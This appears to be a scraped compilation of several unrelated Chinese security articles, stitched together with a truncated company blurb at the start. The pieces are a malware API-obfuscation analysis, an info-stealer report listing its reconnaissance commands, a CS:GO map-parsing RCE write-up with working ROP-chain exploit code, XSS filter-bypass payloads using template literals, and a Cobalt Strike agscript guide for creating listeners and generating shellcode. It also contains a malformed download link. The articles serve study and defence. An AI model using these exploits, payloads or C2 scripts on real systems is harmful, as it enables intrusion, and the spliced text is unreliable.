long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 【技术分享】恶意软件中的符号解析
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/06/remote-symbol-resolution.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**介绍**
在这篇文章中，我们将会跟大家讨论目前恶意软件在隐藏其Windows
API访问痕迹时所采用的常用技术。在本文所给出的分析样例中，为了确定恶意软件的功能，分析人员必须计算要计算出API的起始地址并对运行时进程进行符号解析。
在介绍完这些技术之后，我们会给大家演示一款我们自行开发的[开源工具](http://github.com/fireeye/remote_lookup)，在IDA脚本的帮助下，它可以对虚拟机中正在运行的进程进行符号解析操作。这样一来，它便给我们提供了一种能够快速提升反汇编代码可读性的有效方法。
**技术分析**
在执行一次分析时，我们通常可以看到恶意软件会尝试掩盖（通过模糊处理等技术）它所要使用的API。作为一名恶意软件分析人员，如果想要确定待分析的恶意软件会使用哪一个API，首先我们要做的就是对其进行符号解析，这样才能确定恶意代码真正的功能。
在这篇文章中我们所要讨论的两种常见的混淆技术为Encoded Function Pointer Tables和Detours Style Hook
Stubs。在这两种场景中，API的入口点是无法直接从源代码中找出来的。
比如说，请大家先看下面这张图片中的代码，这部分代码来自于xdata加密勒索软件样本C6A2FB56239614924E2AB3341B1FBBA5的内存数据中提取出来的：
在上面这张图片中，我们可以看到一个数字值被加载进了eax，然后再与另一个数字值进行异或运算，最后作为一个函数指针被加载调用。需要注意的是，这些数字值只有在一个正在运行的进程中才有意义。我们可以根据内存导出数据中的这些数字值来计算出最终的数字结果，但我们还需要想办法弄清楚这个特定进程中所解析的API地址。除此之外我们还要考虑到，首选基地址冲突或开启了ASLR的系统都将有可能引起DLL重定位。
下面这张图片中显示的是数字值的初始化设置地址：
在我们此次的分析场景中，初始值是通过一次API哈希查询来完成加载的，这样一来，我们现在就有很多种方法可以来解决目前所面临的问题了。我既可以搜索一个公开的哈希列表，然后提取出其中的哈希值来构建一个我们自己的数据库，或者也可以想办法对已解码的API地址进行动态解析。
在我们真正开始之前，让我们先来看一看另外一个例子。下图所显示的代码来自于Andromeda样本（3C8B018C238AF045F70B38FC27D0D640）：
上图所示的是恶意软件注入在内存中的代码，我们可以看到其中的第一个指令是从实际的Windows
API中窃取来的，并存储在一个stub之中。在这种情况下，恶意软件可以通过这些stub访问所有的API。我们也可以从反汇编代码中看到，窃取来的指令是可变长度的指令。
为了对这些功能函数进行深入解析，我们需要完成以下几个步骤：
1.枚举出所有的stub；
2.计算第一条指令占有多少个字节；
3.提取出jmp地址；
4.减去窃取来的指令所占字节，得到API的入口点（entrypoint）；
5.对计算出来的地址进行解析，找出指定的进程实例；
6.将stub重命名为有意义的值；
在这个例子中，我们尝试搜索了相关值的交叉引用，但并没有得到什么有意义的结果。现在我们面临的主要是两个问题：首先，我们如何才能更好地对计算出的API地址进行解析？；其次，如何才能将解析数据与我们的IDA数据库联系起来或添加进数据库中？
我们所尝试的第一种技术首先要计算出所有的最终地址，将它们写入到代码文件中，然后将数据注入到进程中，最后在下图所示的调试程序中检查数据表。由于调试程序中已经有一个API地址查询表了，所以我们可以更加方便快速地得到我们所需要的信息。
这样一来，我们就可以提取出相关的符号解析然后通过一个脚本来将其整合进我们的IDB中。
**我们的工具**
我们真正要做的是为每一个进程构建一个我们自己的符号查询表，并通过我们的脚本来将这类表的访问操作流程化。那么现在首先需要解决的问题是：我们如何才能构建出API地址的查询表？为了解决这个问题，我们可以按照以下步骤进行操作：
1.枚举出一个进程所加载的所有DLL；
2.对于每一个DLL，遍历输出表并提取出函数名和RVA；
3.根据DLL基地址计算出API的入口地址，然后提取出RVA；
4.根据上述所有信息构建出一个查询表；
虽然上述步骤听起来好像很麻烦的样子，但我们已经给大家提供了能够自动完成上述操作的代码库了。下面这张图片展示的是我们针对这种特殊场景所开发出来的一款[远程查询工具](https://github.com/fireeye/remote_lookup)。
为了充分释放这种类型的工具所能带来的便捷性，这种工具必须具备高效性。那么我们怎样才能更好地访问这些数据呢？以下几个因素是我们需要考虑的，例如数据如何提交、工具可接受的是哪种输入格式、以及工具如何更好地整合到我们的分析过程之中。
我们首先得考虑如何与该工具进行交互。为了最大程度地实现灵活性和可扩展性，我们可以选择下面这三种方法：
1.查询请求通过textbox单独提交；
2.查询请求通过批量文件提交；
3.查询请求通过网络和远程客户端提交；
对于输入格式，我们可以选择以下几种：
1.十六进制内存地址
2\. 不区分大小写的API名称
3.dll_name@ordinal
4.dll_name.export_name
工具的输出是一个CSV列表，其中包含有地址、名称、序数和DLL。虽然该工具的基本功能已经足够强大，但是在我们的分析过程中，我们仍然需要一种更加高效的方法来使用这款工具。该工具虽然可以很好地处理单独的查询请求和测试，但对于批量查询还不能够很好地支持。批量文件查询有时是非常方便的
，但它需要将数据输出/导入与IDA数据库进行整合。
实际上，我们真正需要的是在IDA中运行我们的脚本，计算API地址，然后在IDA脚本的运行过程中解析这些地址，它将允许我们在进程的运行过程中对函数和指针进行重命名。为了实现这个目标，我们可以在IDA
Jscript中整合一个网络客户端。IDA Jscript是一款开源的IDA脚本工具，它具备语法高亮、智能感知、函数原型提示工具和调试器等组件。
在这个例子中我们可以看到，脚本解码了xdata指针表，通过网络对API地址进行了解析，然后生成了一个IDC脚本并在IDA中对指针进行了重命名。运行该脚本之后，反编译输出结果的可读性大大增加了。
接下来，让我们回到刚才Andromeda的那个例子。我们可以通过下图所示的idajs脚本恢复出恶意软件所使用的API相关信息。
注：对于IDAPython用户，推荐使用一款python远程查询客户端。
**总结**
本文对恶意软件常用的Windows
API模糊技术进行了分析，由于这些技术的存在，使得恶意软件分析人员必须提取出程序的运行时数据，计算出入口地址，然后将特定运行进程中提取出的数据解析成可读性较高的数据。除此之外，本文还介绍了一款简单的开源工具，这款工具可以整合多种IDA脚本语言，并允许分析人员绕过恶意软件所使用的模糊技术。【[工具下载](https://publish.adlab.corp.qihoo.net:8360/contribute/the%20decompiler%20output%20becomes%20plainly%20readable)】 | 社区文章 |
## 恶意文件分析
### 1.恶意文件描述
2022年8月19日，深信服深盾终端实验室在运营工作中捕获到一款功能复杂的新型信息窃取病毒，该病毒由 C++ 语言编写，套用了开源软件 ZLMediaKit
的部分代码并在其基础上开发恶意模块。该程序的释放的文件包含具有数字签名的正常的库文件，以及没有数字签名但伪装成正常系统文件的 exe 程序。
该软件疑似为 Gitee 上的一个私人的名称为 Aps
的项目，其所释放的自行开发或二次开发的文件中，仍然存在部分调试信息。攻击者在开发时采用强链接的方式，将库函数的代码尽可能多的链接到程序中，增加程序的兼容性。
恶意软件开发者的项目路径如下“D:\Work\Code\gitee\APS\ApsBuild\”。同时，该恶意软件还疑似存在未开发完全的远控功能。
自8月19日深盾实验室《揭开新型窃密软件的面纱：伪装成CDR画图应用安装包》首次披露该病毒，经过一段时间的运营，发现目前已有万余台设备被感染(数据来源于CNCERT)。
＃＃＃2.恶意文件分析
恶意软件存在针对安全软件的对抗手段。下图为恶意软件释放、执行的程序——SearchIndexerService.exe
的主函数代码。该段代码的主要功能为，将识别到的安全软件的进程的 TCP 表项清空，断开对应进程的 TCP
连接。此行为的目的为，防止安全软件将恶意样本上传至云端，防止 EDR 与云端联动查杀该恶意软件。
在函数 SearchTcpTableForImageName 中，通过 API 获取到 TCP 表的表项后，获取进程的 PID 并利用该 PID
查询进程的名称，将获取到的进程名称存储在 This 指针的结构体中。此循环遍历 TCP 表的所有表项。
获取到的结构体如下图所示，TCPIP_OWNING_MODULE_SIZE 在 32 位操作系统中为 0x10，因此结构体总大小为 0x28。上图的 for
循环中即遍历获取到的每一个结构体。
如下图所示，dwState 设置为 0xC 即代表删除对应的 TCP 表项。
一、程序运行流程
进程启动后，会正常显示安装程序结束后的界面。同时，进程会执行 cmd 命令，结束系统安全服务。
同时，程序开始释放大量的文件，路径分别为：C:\Users\Sangfor\AppData\Roaming\Microsoft\Network、C:\Windows\SysWOW64\security
。其中包含众多有数字签名正常文件，以及用于进行恶意行为的 NetworkService.exe 、SearchIndexerService.exe。
plugin 目录下为病毒要加载的重要 DLL 文件。
DreamApslop.dll 主要功能为搜集主机信息、反调试以及向攻击者服务器发送窃取到的主机信息。
libssl-3.dll 、 libcrypto-3.dll 为通信过程中对数据加密时所需要调用的导出函数的库文件。
mk_api.dll 为开源软件 ZLMediaKit 所提供的导出函数库文件，攻击者基于此开源库再开发，增加了恶意代码模块。
使用释放的 NetworkService.exe 启动进程。
二、释放的程序的运行流程
创建互斥量，防止进程重复运行。
使用不同的命令行再次启动，第二个参数为当前进程的窗口句柄，用于接收窗口消息，后续将用此接收消息并循环运行：
如果 Network 目录下不存在 para.ini 文件，则创建一个该名称的配置文件。
拼接字符串，调用开源软件的导出函数，并第一次发送网络请求给攻击者服务器，此处的 mk_http_requester_call 为攻击者自行编写。
在此函数执行过程中，将会创建诸多线程，大多数线程为进程的辅助线程或 TPPworker，其中一个特殊的线程会调用 CreateProcess
函数，再次运行一个 NetworkService.exe，参数与本进程相同但传入的 CreationFlags 中含有 Suspend
属性。也就意味着，每次调用该函数都会向攻击者发送搜集的信息。
随后向服务器发送一个网络请求，并将接收到的数据存储到同目录下的 index.ini 文件下。
查找 plugin 目录下的文件，并将查找到的文件路径存储在结构体中。
加载 plugin 目录下所有的 DLL 文件，并尝试调用每一个 DLL 文件的导出函数 Plugin_Create，并调用目标 DLL 的其它导出函数。
该导出函数会尝试加载四个 DLL
文件，分别为：plugin\libcrypto-3.dll、plugin\sqlite3.dll、plugin\mk_api.dll、plugin\libssl-3.dll。
随后获取磁盘序列号，加密并将数据转为 base64 后，发送给目标服务器。
服务器返回的数据解码后得到：
同时还搜集如下信息：
1. 通过 "cmd.exe /c ipconfig /all" 搜集所有的网卡信息。
2. 通过 "Process32Next"、"GetNativeSystemInfo"获取当前系统运行的所有进程。
3. 通过 "cmd.exe /c whoami" 获取当前登录的用户名称。
4. 通过 "cmd.exe /c netsh wlan show profiles" 获取无线网卡配置信息。
向服务器发送的数据包如下：
＃＃处置建议
1.避免打开来历不明的邮件、链接和附件等，如一定要打开未知文件，请先使用杀毒软件进行扫描；
2.定期使用杀毒软件进行全盘扫描。 | 社区文章 |
# 从CTF题目中发现的CS：GO RCE 0day漏洞
##### 译文声明
本文是翻译文章，文章来源：perfect.blue
原文地址：<https://blog.perfect.blue/P90_Rush_B>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
P90_Rush_B这道题来自Real World CTF 资格赛 2018，我们以`perfect blue`的队伍名参加了这次比赛。
@j0nathanj和@VoidMercy_pb.解出了这道题目。
不幸的是，我们没有在比赛期间解出这道题目，但我们在接下来的两天内再接再厉，最后成功的exploit！:)
我们的解法包含一个0 day，前几天也刚刚被Eat Sleep Pwn Repeat队伍的@_niklasb大佬发现，且在最新的更新中已被修复。
我们决定尽可能详细的编写这篇文章，以展示我们全部的工作过程，包括从发现bug，到成功exploit，以及我们所遇到的一些问题。
## The Challenge
题目的描述 / 自述文件表明我们必须通过某种方式利用CS：GO处理地图的机制以实现代码执行。
## 观察
在阅读了自述文件和挑战描述之后，我们立即想到了一个最近[报告给HackerOne](https://hackerone.com/reports/351014)的
CS：GO漏洞。
这个漏洞是这道题目的捷径。它正是我们需要的那一类漏洞——一个BSP (地图) 解析器的漏洞！
不巧的是，在第一份报告之后，Valve已经修复了这个漏洞（还是说？哼哼……），我们决定以这个漏洞为基础，并在这个已修复漏洞的附近寻找新的漏洞。
解决这道题很重要的一点是要了解我们正在对付一个什么样的结构体/类，我们借助[这个](https://developer.valvesoftware.com/wiki/Source_BSP_File_Format)页面以及部分2007年的被泄露的[Source
Engine](https://github.com/VSES/SourceEngine2007)的源码来推断出其结构体。
与此漏洞相关的结构体是`Zip_FileHeader`和`ZIP_EndOfCentralDirRecord`。贴上附件[structs.c](https://github.com/perfectblue/ctf-writeups/blob/b2cd24f6c42c4d5e5c6f1f05db5a7b929bf354b0/RealWorldCTF-2018/P90_Rush_B/src/structs.c)，里面包括了它们的完整的定义。
struct ZIP_FileHeader
{
unsigned int signature; // 4 bytes PK12
...
...
unsigned short fileNameLength; // file name length 2 bytes
...
...
// The filename comes right after! (variable size)
};
struct ZIP_EndOfCentralDirRecord
{
unsigned int signature; // 4 bytes PK56
...
...
unsigned short nCentralDirectoryEntries_Total; // 2 bytes - A.K.A numFilesInZip
...
...
};
## “被修复”的bug
正如发现者所报告的那样，旧的bug就在这个函数中`CZipPackFile::Prepare`。
（此图片来自于最初的bug发现者）
在上图中，函数`Get()`调用`memcpy()`并将文件名（嵌入在地图文件本身中）复制到变量`tmpString`中。
这个地方没有边界检查，因为`zipFileHeader.fileNameLength`和`filename`是嵌入在BSP文件本身的，所以会导致一个经典的基于栈的缓冲区溢出。
我们尝试运行由bug发现者提供的PoC地图，但由于断言机制崩溃了。
## 寻找新bug——“源代码”回顾
在阅读完2007年的这份被泄露的Source Engine源码后，我们知道每个BSP都会包含有一些ZIP文件，包含其文件名以及文件名长度。
还有一个`EndOfCentralDirectoryZIP`文件，表明我们已到达BSP文件的末尾（稍后会用到）。
普通ZIP文件具有签名`PK12` ，`EndOfCentralDirectory`ZIP具有签名`PK56`。
因为据说原来的漏洞已经被Valve修复，我们错误地认为补丁只是对`Get()`的边界检查，我们依赖于这一份 **来自2007年**
的泄露源码——我们都没有使用平常的工具，我们也没有IDA或者其他的反编译器，所以我们决定使用这份泄露的源码。
稍微阅读了源代码后，我们注意到另一个调用`Get()`函数的地方，并且使用的是另一个filename！
这段看似有bug的代码也与前一代码在相同的函数里`CZipPackFile::Prepare`。
bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
ZIP_FileHeader zipFileHeader;
char filename[MAX_PATH];
// Check for a preload section, expected to be the first file in the zip
zipDirBuff.GetObjects( &zipFileHeader );
zipDirBuff.Get( filename, zipFileHeader.fileNameLength );
filename[zipFileHeader.fileNameLength] = '';
...
...
}
如注释中所示（注释存在于实际泄漏的文件中），`Get()`函数此时复制ZIP中的“第一个文件”。
我们试图破坏ZIP中的第一个文件名，也试图破坏文件大小，但没有任何结果，我们在这浪费了相当多的时间。
## 找到bug——逆向工程
当我们回到家，用回自己实际的生产环境，我们决定尝试对这个本应被Valve针对报告进行修复的函数进行逆向。
为了找出错误的代码到底在哪个模块，我们决定调试由于断言而崩溃的PoC。最终我们发现它在`dedicated.so`里。
为了在IDA中找到这个“老旧的”易受攻击的函数，我们打开了`dedicated.so`，
在相同的函数中搜索以警告信息出现在泄露代码中的字符串。
在逆向完新的“已修复的”函数后，我们注意到有许多与泄露代码相同的地方。但当我们找到我们认为易受攻击的代码片段(我们找到的`get()`函数)的时候，我们注意到`zipFileHeader.fileNameLength`有边界检查：
这时候，我们知道我们认为的漏洞实际上已经修复了。所以，我们继续逆向，并找到了报告为bug的代码片段。
多亏了我们的变量重命名，我们立刻发现有些东西行不通。
如在第一个代码片段（称为“已修复片段”）中所见，当`fileNameLength` <= 258时，或者是`fileNameLength` <
`max_fileNameLength`时，`max_fileNameLength`被更新为`fileNameLength`（从BSP中提取）。
在第一次`Get()`调用中，修复程序可防止溢出。但是，如果仔细观察，第二次调用`Get()`始终以`fileNameLength`用作长度——即使`fileNameLength`>
`max_fileNameLength`！
变量`tmpString`的长度是260字节，所以如果我们可以让第二次`Get()`在调用`memcpy()`时超过260字节——那么我们可以触发基于栈的缓冲区溢出！
## Bypass所有检查
所以，现在我们已经发现了漏洞，我们必须触发它以确认它是否真的存在！
我们花了相当多的时间试图触发漏洞 – 我们将BSP中的第二个ZIP文件（我们使用标头`PK12`识别它的位置）中的
`fileNameLength`更改为更大的东西，并且还将`fileName`变得更大，但我们注意到一些矛盾点。
我们注意到在超过一定大小之后，该函数在开始时就会失败，它在BSP上有一些验证检查。
在`Prepare()`的开头，有以下函数：
bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
...
// Find and read the central header directory from its expected position at end of the file
bool bCentralDirRecord = false;
int64 offset = fileLen - sizeof( ZIP_EndOfCentralDirRecord );
// scan entire file from expected location for central dir
for ( ; offset >= 0; offset-- )
{
ReadFromPack( -1, (void*)&rec, -1, sizeof( rec ), offset );
m_swap.SwapFieldsToTargetEndian( &rec );
if ( rec.signature == PKID( 5, 6 ) )
{
bCentralDirRecord = true;
break;
}
}
Assert( bCentralDirRecord );
if ( !bCentralDirRecord )
{
// no zip directory, bad zip
return false;
}
看起来很混乱？其实并不！
实际上这个函数只是在进行一个从`fileLen`到`sizeof(ZIP_EndOfCentralDirOrder)`的迭代，然后再回到文件开头，搜寻与`ZIP_EndOfCentralDirOrder`头部相匹配的4个字节（也就是`PK56`的值）
经过一些调试之后，我们注意到了无论我们把文件扩充到多大，`fileLen`却始终不会变！这意味着它是以某种方式静态保存的！
为了验证我们的理论，我们在HxD里搜索文件长度，也确实找到了它！:)
为了绕过上面的循环，我们必须赋予`fileLen`一个更大的值，因为`ZIP_EndOfCentralDirOrder`是文件中的最后一个结构体，如果`fileLen`过小，`fileLen`到`sizeof(ZIP_EndOf_CentralDirRecord)`的迭代会在`PK56`头之前开始，之后会一路回到文件的开头——我们也就没办法bypass检查了！
所以为了实现bypass，我们增大了`fileLen`并在文件末尾使用0填充，这样我们就总能保证绕过这个检查了！
（我们可以单纯的伪造`PK56`头，但我们想知道导致验证失败的根本原因是什么）
## 触发漏洞 – 0x41414141 in ?? ()
现在我们已经通过了`PK56`头验证，我们可以尝试用`tmpString`大字符串来造成溢出！
一开始，我们试图填充许多的`A`来控制EIP，但我们注意到栈里有许多元数据仍然在被函数使用……并把它们覆盖掉了。我们还注意到栈里的元数据是这样访问的（这是二进制文件中的一个实际示例）：
（注意，对栈地址的访问有时也用在指令的目的地址）
所以我们决定用0覆盖掉除了返回地址意外的所有东西，这样我们就不会因为写入/读取无效地址而崩溃！
但事实证明，即使溢出0也是不够的，程序仍然会崩溃:( …
这一次，我们注意到在`Get()`函数溢出之后，即使我们用0覆盖数据，我们也会崩溃，因为这个函数在循环中，遍历ZIP文件夹中的所有文件。
还记得我们指出的那个必要的结构体吗？事实证明，`ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total`存放着zip中的文件数量！看泄露的源码就知道了：
...
int numFilesInZip = rec.nCentralDirectoryEntries_Total;
for ( int i = firstFileIdx; i < numFilesInZip; ++i )
{
...
// The Get() call is inside this loop.
...
}
把`ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total`改成2，获得第二个ZIP以实现溢出，会立即退出循环并导致函数结束，也就是说：我们可以控制EIP了！
## 建立ROP链
主二进制文件（`srcds`）是一个32位应用程序，它是在没有PIE、没有栈cookie的情况下编译的，并且没有启用Full Relro。
根据这些情况，我们建立了一条任意添加的ROP链，并把`system`的偏移量添加到`puts`GOT的条目中，然后调用`puts("/usr/bin/gnome-calculator")`，最后成功弹出了计算器 😀
下面的代码生成了一个ROP链的payload，我们可以在返回地址的偏移量中插入以调用`system("/usr/bin/gnome-calculator")`：
from pwn import *
add_what_where = 0x080488fe # add dword ptr [eax + 0x5b], ebx ; pop ebp ; ret
pop_eax_ebx_ebp = 0x080488ff # pop eax ; pop ebx ; pop ebp ; ret
putsgot = 0x8049CF8
putsoffset = 0x5fca0
systemoffset = 0x3ada0
putsplt = 0x080485E0
bss = 0x8049d68
command = "/usr/bin/gnome-calculator"
rop = []
for i in range(0, len(command), 4):
current = int(command[i:][:4][::-1].encode("hex"), 16)
rop += [pop_eax_ebx_ebp, bss + i - 0x5b, current, bss, add_what_where, bss]
rop += [pop_eax_ebx_ebp, putsgot - 0x5b, 0x100000000 - (putsoffset - systemoffset), bss, add_what_where, bss]
rop += [putsplt, bss, bss, bss]
payload = ""
for i in rop:
payload += p32(i)
with open('rop', 'wb') as f:
f.write(payload)
print '[+] Generated ROP.n'
## 完成 exploit
为了完成exploit，我们需要使用许多0来覆盖整个缓冲区直到返回地址为止，然后插入我们的ROP链payload！
from pwn import *
rop = ''
with open('rop', 'r') as f:
rop = f.read()
payload = p8(0) * 0x1c0
payload += rop
with open('payload', 'w') as f:
f.write(payload)
print '[+] Full payload generated.n'
插入我们的payload后，手动修改`fileLen`和`fileNameLength`，就可以执行代码了！最终的bsp[在这](https://blog.perfect.blue/assets/files/CSGO0day/exploit.bsp)
（图片不动请[点我](https://blog.perfect.blue/assets/images/csgo_calc.gif)）
## 结论和经验
* 我们从这个挑战中吸取了一些教训，我们觉得最主要的是不应该依赖于旧的/泄漏的代码。我们本可以通过在IDA中打开二进制文件来节省大量时间，但即时当我们意识到应该这么做时，也没有立即动手。
* 有些人可能已经注意到了，对于没注意到的人，我跟你们港：Valve的第一个“补丁”实际上没有修复报告中提到的的漏洞！它确实修复了第一次出现的`Get()`调用，但没有修复第二次调用 – 报告说的实际就是这个！
这让我们学到了另一个重要的经验——永远不要相信“修复补丁”。总是去验证它实际上是否修复了bug！
我们在完成这一挑战时获得了很多乐趣，并且CTF挑战中找到了0 day！
期待Real World CTF 总决赛 – 2018！ | 社区文章 |
ES6中的模板字符串和新XSS Payload
众所周知，在XSS的实战对抗中，由于防守方经常会采用各种各样严格的过滤手段来过滤输入，所以我们使用的XSS
Payload也会根据实际情况作出各种各样的调整，最常见的如避免括号，避免引号，避免关键字等，以绕开过滤函数的检查，从而成功将代码注入到网页中运行。
在传统的XSS Payload变形中，常用的无非有以下几种：
1. 使用String.fromCharCode来避免关键字，如String.fromCharCode(97,108,101,114,116,40,49,41);
2. 使用URL编码来避免括号的识别，如location=’alert%281%29’;
3.使用正则对象的特点来避开引号，如alert(/1/);
在多年的研究中基本上传统的变形手段都被研究的差不多了，很难找到创新的绕开手段。
然而，近几年ECMAScript新版本的不断发展和推行，在带来了各种激动人心的语言特性的同时，也不可避免地带来了一些新的安全挑战。本文中所说的模板字符串，便是ECMAScript
6草案中的一种新特性。
如MDN 中所述，模板字符串（Template literals）允许嵌入表达式，并且支持多行字符串和字符串插补特性。基本语法为以下几种：
其中第一行为最基本用法，即使用反引号 (‘`’) 来代替普通字符串中的用双引号和单引号。
第二行为多行字符串用法，即反引号中文本可以直接接受换行而不必使用\n换行符来强制换行。
第三行则为模板字符串的最核心用法，即反引号中的${expression}占位符中expression可以为任意的JavaScript表达式，甚至为模板字符串。
第四行则为使模板字符串变强大的最主要原因，如果一个模板字符串由表达式开头，则该字符串被称为带标签的模板字符串，该表达式通常是一个函数，它会在模板字符串处理后被调用，在输出最终结果前，你都可以在通过该函数对模板字符串来进行操作处理。
第三行的用法我们称之为“表达式插补“，在普通字符串中嵌入表达式时，必须使用如下语法：
现在通过模板字符串，我们可以使用一种更优雅的方式来表示：
第四行的用法我们称之为”带标签的模板字符串“，模板字符串的一种更高级的形式称为带标签的模板字符串。它允许您通过标签函数修改模板字符串的输出。标签函数的第一个参数是一个包含了字符串字面值的数组（在本例中分别为“Hello”和“world”）；第二个参数，在第一个参数后的每一个参数，都是已经被处理好的替换表达式（在这里分别为“15”和“50”）。
最后，标签函数返回处理好的字符串。在后面的示例中，标签函数的名称可以为任意的合法标示符。
在了解了以上知识后，我们不难发现，对于一个最简单的XSS
Payload：alert(‘A’)来说，我们可以利用上述例子第一行的知识，使用“`”来代替引号，即成为alert(`A`)。之后，使用第四行的标签用法，我们可以直接去除括号，将alert作为标签，写成
alert`A`。最后，由于ECMAScript 6中支持直接用码点 （code
point）来表示Unicode字符，即直接写成"反斜杠+u+码点"。因此为避免alert关键字被识别，我们可以使用Unicode字符来替换alert几个字符，将payload写成\u0061\u006c\u0065\u0072\u0074`A`。
此时最终的payload已经完全见不到alert关键字，括号，以及引号了。测试结果如下：
如果需要将这个payload当做字符串作为函数参数，则可以按照表达式插补的写法，直接在外层套一个`${}`即可，例如：`${alert`A`}` 或
`${\u0061\u006c\u0065\u0072\u0074`A`}` 。则console.log(`${alert`A`}`)也可以弹出。
以上的方法经测试，在最新版本的Chrome，Firefox以及Edge浏览器中均可以执行。我们可以看出，ES6的新方法给我们带来便利的同时，也给XSS字符的安全监测带来了新的挑战。
作者：负羽，更多安全类文章，请访问阿里聚安全博客 | 社区文章 |
翻译+实践
原文地址：
https://www.cobaltstrike.com/agscript-script/index.html
## 0x03 数据模型
`Cobalt Strike`的团队服务器存储了所有主机，服务，凭据等信息信息。
### 数据API
使用`＆data_query`函数即可查询到`Cobalt Strike`的数据模型。 这个函数可以访问`Cobalt
Strike`客户端维护的所有状态和信息。 使用`＆data_keys`多了一个可以查询制定数据的功能，看demo：
command export {
local('$handle $model $row $entry $index');
$handle = openf(">export.txt");
foreach $model (data_keys()) {
println($handle, "== $model ==");
println($handle, data_query($model));
}
closef($handle);
println("See export.txt for the data.");
}
`Cobalt Strike`提供了多种功能方便攻击者们更直观地使用数据模型。
模型 | 函数 | 功能描述
---|---|---
applications | [&applications](https://www.cobaltstrike.com/aggressor-script/functions.html#applications) | 系统分析结果 [View -> Applications]
archives | [&archives](https://www.cobaltstrike.com/aggressor-script/functions.html#archives) | 连接日志/活动
beacons | [&beacons](https://www.cobaltstrike.com/aggressor-script/functions.html#beacons) | 激活beacons
credentials | [&credentials](https://www.cobaltstrike.com/aggressor-script/functions.html#credentials) | 账号密码等
downloads | [&downloads](https://www.cobaltstrike.com/aggressor-script/functions.html#downloads) | 下载的文件
keystrokes | [&keystrokes](https://www.cobaltstrike.com/aggressor-script/functions.html#keystrokes) | Beacon接收到键盘记录
screenshots | [&screenshots](https://www.cobaltstrike.com/aggressor-script/functions.html#screenshots) | 截图文件啊
services | [&services](https://www.cobaltstrike.com/aggressor-script/functions.html#services) | 服务相关信息
sites | [&sites](https://www.cobaltstrike.com/aggressor-script/functions.html#sites) | 资产信息
socks | [&pivots](https://www.cobaltstrike.com/aggressor-script/functions.html#pivots) | SOCKS代理服务以及端口转发
targets | [&targets](https://www.cobaltstrike.com/aggressor-script/functions.html#targets) | 主机信息
调用这些函数会返回一个模型中每个条目的数组，每行对于的是一个字典，字典中包含了键与其键值。
要理解这东西最简单的方式就是直接到控制台上手调试了，`x`命令就是为此准备的，看图：
(就是基本的数组操作。)
使用`on DATA_KEY`可关注制定模型的变化：
on keystrokes {
println("I have new keystrokes: $1");
}
## 0x04 监听器
监听器（`Listeners`）是`Cobalt Strike`处理bot发来的信息的核心模块。
### 监听器API
`agscript`会收集来自连接到的当前团队服务器的监听器的信息，这样做的好处是可以轻松地将会话转移给另一台团队服务器，想要获取所有监听器名称的列表可以使用[`＆listeners`](https://www.cobaltstrike.com/aggressor-script/functions.html#listeners)函数,只使用本地侦听器的话用[`＆listeners_local`](https://www.cobaltstrike.com/aggressor-script/functions.html#listeners_local)函数,[`＆listener_info`](https://www.cobaltstrike.com/aggressor-script/functions.html#listener_info)函数可将监听器名称解析为其配置信息，demo：
command listeners {
local('$name $key $value');
foreach $name (listeners()) {
println("== $name == ");
foreach $key => $value (listener_info($name)) {
println("$[20]key : $value");
}
}
}
### 监听器创建
用[&listener_create](https://www.cobaltstrike.com/aggressor-script/functions.html#listener_create)函数啦。
demo:
# 新建一个foreign监听器
listener_create("My Metasploit", "windows/foreign_https/reverse_https",
"ads.losenolove.com", 443);
# 新建一个HTTP Beacon监听器
listener_create("Beacon HTTP", "windows/beacon_http/reverse_http",
"www.losenolove.com", 80,
"www.losenolove.com, www2.losenolove.com");
### 监听器删除
用`&listener_delete`函数，值得注入的是需要传入一个参数，也就是监听器的名称。
listener_delete("Beacon HTTP");
(很尴尬，不知道是官方bug还是汉化版的原因，在代码中运行正常，丢到控制台就GG。)
### 监听器选择
使用[&openPayloadHelper](https://www.cobaltstrike.com/aggressor-script/functions.html#openPayloadHelper)会弹出一个当前可用的监听器列表供选择，使用者选完后程序会接着运行回调函数，demo：
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn $1");
bspawn($bids, $1);
}, $bids => $1));
}
### Shellcode生成
使用[＆shellcode](https://www.cobaltstrike.com/aggressor-script/functions.html#shellcode)为指定的侦听器名称生成`shellcode`。
$data = shellcode("my listener", false, "x86");
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
shellcode函数共传入了三个参数，第一个是监听器的名称，第二个是选择是否发送给远程主机(true/false)，第三个是系统的架构(x64/x86)。
### exe/dll生成
用[&artifact](https://www.cobaltstrike.com/aggressor-script/functions.html#artifact)函数啦。
有四个参数需要传入：
artifact("my listener","exe",false,x86);
对比shellcode生成仅多了第二个参数，也就是生成的bot程序的类型，共七种类型可选：
类型参数 | 描述
---|---
dll | x86 DLL
dllx64 | x64 DLL
exe | windows可执行程序啦
powershell | powershell脚本
